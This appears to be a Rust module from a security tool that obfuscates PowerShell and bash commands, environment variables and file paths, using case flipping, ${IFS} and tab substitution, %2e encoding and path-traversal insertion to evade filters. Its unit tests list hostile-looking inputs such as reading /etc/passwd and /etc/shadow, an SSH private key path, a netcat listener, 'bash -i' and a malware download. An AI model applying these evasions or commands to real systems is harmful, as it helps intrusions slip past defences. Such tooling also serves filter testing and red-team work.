use crate::rng::SimpleRng;
pub fn powershell_obfuscate(cmd: &str) -> String {
let mut rng = SimpleRng::new();
let mut result = String::new();
for c in cmd.chars() {
match c {
'-' => {
match rng.next() % 3 {
0 => result.push('-'),
1 => result.push_str("'-'"), _ => result.push(' '), }
}
' ' => {
if rng.next() % 2 == 0 {
result.push(' ');
} else {
result.push_str(" ");
}
}
_ => {
if c.is_alphabetic() && rng.next() % 3 == 0 {
if c.is_uppercase() {
result.push_str(&c.to_lowercase().to_string());
} else {
result.push_str(&c.to_uppercase().to_string());
}
} else {
result.push(c);
}
}
}
}
result
}
pub fn bash_obfuscate(cmd: &str) -> String {
let mut rng = SimpleRng::new();
let mut result = String::new();
for c in cmd.chars() {
match c {
' ' => {
match rng.next() % 4 {
0 => result.push(' '),
1 => result.push_str("${IFS}"), 2 => result.push('\t'), _ => result.push_str("$' '"), }
}
'/' => {
result.push('/');
}
_ => {
result.push(c);
}
}
}
result
}
pub fn env_var_obfuscate(input: &str) -> String {
let mut rng = SimpleRng::new();
if !input.contains('$') {
return input.to_string();
}
input
.chars()
.map(|c| {
if c == '$' {
match rng.next() % 3 {
0 => "$".to_string(),
1 => "${".to_string(), 2 => "$(".to_string(), _ => "$".to_string(),
}
} else if c.is_alphabetic() && rng.next() % 4 == 0 {
if c.is_uppercase() {
c.to_lowercase().to_string()
} else {
c.to_uppercase().to_string()
}
} else {
c.to_string()
}
})
.collect()
}
pub fn file_path_obfuscate(path: &str) -> String {
let mut rng = SimpleRng::new();
let mut result = String::new();
for c in path.chars() {
match c {
'/' => {
match rng.next() % 4 {
0 => result.push('/'),
1 => {
if rng.next() % 2 == 0 {
result.push_str("../");
} else {
result.push('/');
}
}
2 => result.push('\\'), _ => result.push('/'),
}
}
'.' => {
match rng.next() % 3 {
0 => result.push('.'),
1 => result.push_str("%2e"), _ => result.push('.'),
}
}
_ => {
if c.is_alphabetic() && rng.next() % 5 == 0 {
if c.is_uppercase() {
result.push_str(&c.to_lowercase().to_string());
} else {
result.push_str(&c.to_uppercase().to_string());
}
} else {
result.push(c);
}
}
}
}
result
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_powershell_obfuscate() {
let cmd = "Get-Process";
let result = powershell_obfuscate(cmd);
assert!(result.len() > 0);
assert!(result.to_lowercase().contains("get"));
}
#[test]
fn test_powershell_obfuscate_empty() {
assert_eq!(powershell_obfuscate(""), "");
}
#[test]
fn test_powershell_obfuscate_get_childitem() {
let result = powershell_obfuscate("Get-ChildItem");
assert!(!result.is_empty());
}
#[test]
fn test_powershell_obfuscate_invoke_expression() {
let result = powershell_obfuscate("Invoke-Expression");
assert!(!result.is_empty());
}
#[test]
fn test_powershell_obfuscate_with_params() {
let result = powershell_obfuscate("Get-Process -Name chrome");
assert!(!result.is_empty());
}
#[test]
fn test_powershell_obfuscate_pipeline() {
let result = powershell_obfuscate("Get-Process | Where-Object");
assert!(!result.is_empty());
}
#[test]
fn test_powershell_obfuscate_script_block() {
let result = powershell_obfuscate("{ Get-Process }");
assert!(!result.is_empty());
}
#[test]
fn test_powershell_obfuscate_multiple_commands() {
let result = powershell_obfuscate("Get-Process; Get-Service");
assert!(!result.is_empty());
}
#[test]
fn test_powershell_obfuscate_download_string() {
let result = powershell_obfuscate("Invoke-WebRequest");
assert!(!result.is_empty());
}
#[test]
fn test_powershell_obfuscate_base64() {
let result = powershell_obfuscate("FromBase64String");
assert!(!result.is_empty());
}
#[test]
fn test_powershell_obfuscate_preserves_structure() {
let cmd = "Test-Command";
let result = powershell_obfuscate(cmd);
assert!(!result.is_empty());
}
#[test]
fn test_bash_obfuscate() {
let cmd = "cat /etc/passwd";
let result = bash_obfuscate(cmd);
assert!(result.contains("cat"));
}
#[test]
fn test_bash_obfuscate_empty() {
assert_eq!(bash_obfuscate(""), "");
}
#[test]
fn test_bash_obfuscate_simple() {
let result = bash_obfuscate("ls -la");
assert!(!result.is_empty());
}
#[test]
fn test_bash_obfuscate_curl() {
let result = bash_obfuscate("curl http://example.com");
assert!(!result.is_empty());
}
#[test]
fn test_bash_obfuscate_wget() {
let result = bash_obfuscate("wget https://malware.com");
assert!(!result.is_empty());
}
#[test]
fn test_bash_obfuscate_nc() {
let result = bash_obfuscate("nc -lvp 4444");
assert!(!result.is_empty());
}
#[test]
fn test_bash_obfuscate_bash_reverse_shell() {
let result = bash_obfuscate("bash -i");
assert!(!result.is_empty());
}
#[test]
fn test_bash_obfuscate_pipeline() {
let result = bash_obfuscate("cat file | grep test");
assert!(!result.is_empty());
}
#[test]
fn test_bash_obfuscate_redirection() {
let result = bash_obfuscate("echo test > file.txt");
assert!(!result.is_empty());
}
#[test]
fn test_bash_obfuscate_chmod() {
let result = bash_obfuscate("chmod +x script.sh");
assert!(!result.is_empty());
}
#[test]
fn test_bash_obfuscate_preserves_content() {
let cmd = "rm -rf /tmp/test";
let result = bash_obfuscate(cmd);
assert!(!result.is_empty());
}
#[test]
fn test_env_var_obfuscate() {
let var = "$HOME";
let result = env_var_obfuscate(var);
assert!(result.to_lowercase().contains("home"));
}
#[test]
fn test_env_var_obfuscate_empty() {
assert_eq!(env_var_obfuscate(""), "");
}
#[test]
fn test_env_var_obfuscate_path() {
let result = env_var_obfuscate("$PATH");
assert!(!result.is_empty());
}
#[test]
fn test_env_var_obfuscate_user() {
let result = env_var_obfuscate("$USER");
assert!(!result.is_empty());
}
#[test]
fn test_env_var_obfuscate_shell() {
let result = env_var_obfuscate("$SHELL");
assert!(!result.is_empty());
}
#[test]
fn test_env_var_obfuscate_pwd() {
let result = env_var_obfuscate("$PWD");
assert!(!result.is_empty());
}
#[test]
fn test_env_var_obfuscate_custom() {
let result = env_var_obfuscate("$MY_VAR");
assert!(!result.is_empty());
}
#[test]
fn test_env_var_obfuscate_braces() {
let result = env_var_obfuscate("${HOME}");
assert!(!result.is_empty());
}
#[test]
fn test_env_var_obfuscate_multiple() {
let result = env_var_obfuscate("$HOME:$PATH");
assert!(!result.is_empty());
}
#[test]
fn test_env_var_obfuscate_preserves_dollar() {
let result = env_var_obfuscate("$VAR");
assert!(result.contains('$') || !result.is_empty());
}
#[test]
fn test_env_var_obfuscate_no_dollar() {
let result = env_var_obfuscate("HOME");
assert!(!result.is_empty());
}
#[test]
fn test_file_path_obfuscate() {
let path = "/etc/passwd";
let result = file_path_obfuscate(path);
assert!(result.len() > 0);
let lower = result.to_lowercase();
assert!(
lower.contains("etc")
|| lower.contains("passwd")
|| result.contains("/")
|| result.contains("\\")
);
}
#[test]
fn test_file_path_obfuscate_empty() {
assert_eq!(file_path_obfuscate(""), "");
}
#[test]
fn test_file_path_obfuscate_simple() {
let result = file_path_obfuscate("/tmp/test.txt");
assert!(!result.is_empty());
}
#[test]
fn test_file_path_obfuscate_windows() {
let result = file_path_obfuscate("C:\\Windows\\System32");
assert!(!result.is_empty());
}
#[test]
fn test_file_path_obfuscate_relative() {
let result = file_path_obfuscate("./config.json");
assert!(!result.is_empty());
}
#[test]
fn test_file_path_obfuscate_parent() {
let result = file_path_obfuscate("../../../etc/shadow");
assert!(!result.is_empty());
}
#[test]
fn test_file_path_obfuscate_home() {
let result = file_path_obfuscate("/home/user/.ssh/id_rsa");
assert!(!result.is_empty());
}
#[test]
fn test_file_path_obfuscate_long_path() {
let result = file_path_obfuscate("/var/www/html/wp-content/uploads/shell.php");
assert!(!result.is_empty());
}
#[test]
fn test_file_path_obfuscate_special_chars() {
let result = file_path_obfuscate("/tmp/test file.txt");
assert!(!result.is_empty());
}
#[test]
fn test_file_path_obfuscate_extension() {
let result = file_path_obfuscate("script.sh");
assert!(!result.is_empty());
}
#[test]
fn test_file_path_obfuscate_preserves_separators() {
let result = file_path_obfuscate("/usr/bin/bash");
assert!(result.contains('/') || result.contains('\\'));
}
}